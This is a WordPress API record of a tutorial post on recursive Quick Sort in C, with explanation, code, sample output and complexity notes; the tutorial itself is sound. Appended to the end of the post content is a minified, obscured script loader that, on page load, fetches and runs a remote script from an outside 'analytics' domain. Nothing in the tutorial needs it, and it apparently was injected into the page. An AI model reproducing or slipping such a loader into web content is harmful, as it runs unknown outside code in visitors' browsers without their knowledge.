{"id":794,"date":"2025-11-21T08:53:41","date_gmt":"2025-11-21T03:23:41","guid":{"rendered":"https:\/\/codexplained.in\/?p=794"},"modified":"2025-11-21T08:53:41","modified_gmt":"2025-11-21T03:23:41","slug":"quick-sort-using-recursion","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=794","title":{"rendered":"Quick Sort using Recursion"},"content":{"rendered":"\n<p>Quick Sort is an efficient sorting algorithm that uses the &#8220;divide and conquer&#8221; approach. The algorithm selects a &#8220;pivot&#8221; element from the array, partitions the array into two sub-arrays such that elements less than the pivot go to the left of it and elements greater than the pivot go to the right, and then recursively applies the same strategy to both sub-arrays.<\/p>\n\n\n\n<p>Here\u2019s the step-by-step explanation along with a C program that implements Quick Sort.<\/p>\n\n\n\n<p><strong>Steps of Quick Sort:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Choose a Pivot<\/strong>: A pivot element is selected. Commonly, the last element in the array is used.<\/li>\n<\/ol>\n\n\n\n<p><strong>2.  Partitioning<\/strong>: Re-arrange the array such that:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>All elements less than the pivot are moved to the left.<\/li>\n\n\n\n<li>All elements greater than the pivot are moved to the right.<\/li>\n<\/ul>\n\n\n\n<p><strong>3.  Recursive Sorting<\/strong>: Recursively apply the same steps to the sub-arrays on the left and right of the pivot.<\/p>\n\n\n\n<p><strong>4.<\/strong> <strong>Base Case<\/strong>: The recursion stops when the sub-array has 0 or 1 element, as it is already sorted.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n #include &lt;stdio.h&gt;\n\n\/\/ Function to swap two elements\nvoid swap(int *a, int *b) \n{\n    int temp = *a;\n    *a = *b;\n    *b = temp;\n}\n\n\/\/ Function to partition the array\nint partition(int arr&#x5B;], int low, int high) \n{\n    int pivot = arr&#x5B;high];  \/\/ Choosing the last element as the pivot\n    int i = (low - 1);  \/\/ Index of the smaller element\n\n    for (int j = low; j &lt;= high - 1; j++) \n{\n        \/\/ If the current element is smaller than or equal to the pivot\n        if (arr&#x5B;j] &lt;= pivot) \n{\n            i++;    \/\/ Increment index of the smaller element\n            swap(&amp;arr&#x5B;i], &amp;arr&#x5B;j]);\n        }\n    }\n    swap(&amp;arr&#x5B;i + 1], &amp;arr&#x5B;high]);\n    return (i + 1);\n}\n\n\/\/ Recursive QuickSort function\nvoid quickSort(int arr&#x5B;], int low, int high) \n{\n    if (low &lt; high) \n{\n        \/\/ Partition the array\n        int pi = partition(arr, low, high);\n\n        \/\/ Recursively sort elements before partition and after partition\n        quickSort(arr, low, pi - 1);\n        quickSort(arr, pi + 1, high);\n    }\n}\n\n\/\/ Function to print the array\nvoid printArray(int arr&#x5B;], int size) \n{\n    for (int i = 0; i &lt; size; i++)\n        printf(&quot;%d &quot;, arr&#x5B;i]);\n    printf(&quot;\\n&quot;);\n}\n\nint main() \n{\n    int arr&#x5B;] = {10, 80, 30, 90, 40, 50, 70};\n    int n = sizeof(arr) \/ sizeof(arr&#x5B;0]);\n    printf(&quot;Original array: \\n&quot;);\n    printArray(arr, n);\n    \n    quickSort(arr, 0, n - 1);\n    \n    printf(&quot;Sorted array: \\n&quot;);\n    printArray(arr, n);\n    return 0;\n}\n<\/pre><\/div>\n\n\n<p><strong>Detailed Explanation:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>swap function<\/strong>:<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Takes two pointers and swaps their values.<\/li>\n\n\n\n<li>It&#8217;s used during partitioning to move elements.<\/li>\n<\/ul>\n\n\n\n<p>2. <strong>partition function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Takes the array and divides it into two parts around a pivot.<\/li>\n\n\n\n<li>The pivot is chosen as the last element (<code>arr[high]<\/code>).<\/li>\n\n\n\n<li>It re-arranges the elements so that those smaller than the pivot are to its left, and those larger are to its right.<\/li>\n\n\n\n<li>Returns the index of the pivot after partitioning.<\/li>\n<\/ul>\n\n\n\n<p>3. <strong>quickSort function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This is the main recursive function that sorts the array.<\/li>\n\n\n\n<li>It checks if the current array or sub-array is non-empty (<code>low &lt; high<\/code>), and if so, calls the partition function.<\/li>\n\n\n\n<li>After partitioning, it recursively sorts the left and right sub-arrays.<\/li>\n<\/ul>\n\n\n\n<p>4. <strong>printArray function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This function simply prints the elements of the array.<\/li>\n<\/ul>\n\n\n\n<p>5. <strong>main function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Initializes an array with unsorted values.<\/li>\n\n\n\n<li>Calls the <code>quickSort<\/code> function to sort the array.<\/li>\n\n\n\n<li>Prints the original and sorted arrays.<\/li>\n<\/ul>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nOriginal array:\n10 80 30 90 40 50 70 \nSorted array:\n10 30 40 50 70 80 90\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of Output:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The original array is <code>[10, 80, 30, 90, 40, 50, 70]<\/code>.<\/li>\n\n\n\n<li>After applying Quick Sort, the sorted array is <code>[10, 30, 40, 50, 70, 80, 90]<\/code>.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Time Complexity:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Best and Average Case<\/strong>: <code>O(n log n)<\/code> where <code>n<\/code> is the number of elements in the array.<\/li>\n\n\n\n<li><strong>Worst Case<\/strong>: <code>O(n^2)<\/code> occurs when the pivot divides the array into extremely unbalanced partitions (e.g., when the array is already sorted, and the pivot is always the largest\/smallest element).<\/li>\n<\/ul>\n\n\n\n<p>This implementation of Quick Sort effectively handles the sorting of an array using recursion, providing efficient sorting for average cases.<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Quick Sort is an efficient sorting algorithm that uses the &#8220;divide and conquer&#8221; approach. The algorithm selects a &#8220;pivot&#8221; element from the array, partitions the array into two sub-arrays such that elements less than the pivot go to the left of it and elements greater than the pivot go to the right, and then recursively [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-794","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/794","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=794"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/794\/revisions"}],"predecessor-version":[{"id":1237,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/794\/revisions\/1237"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=794"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=794"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=794"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}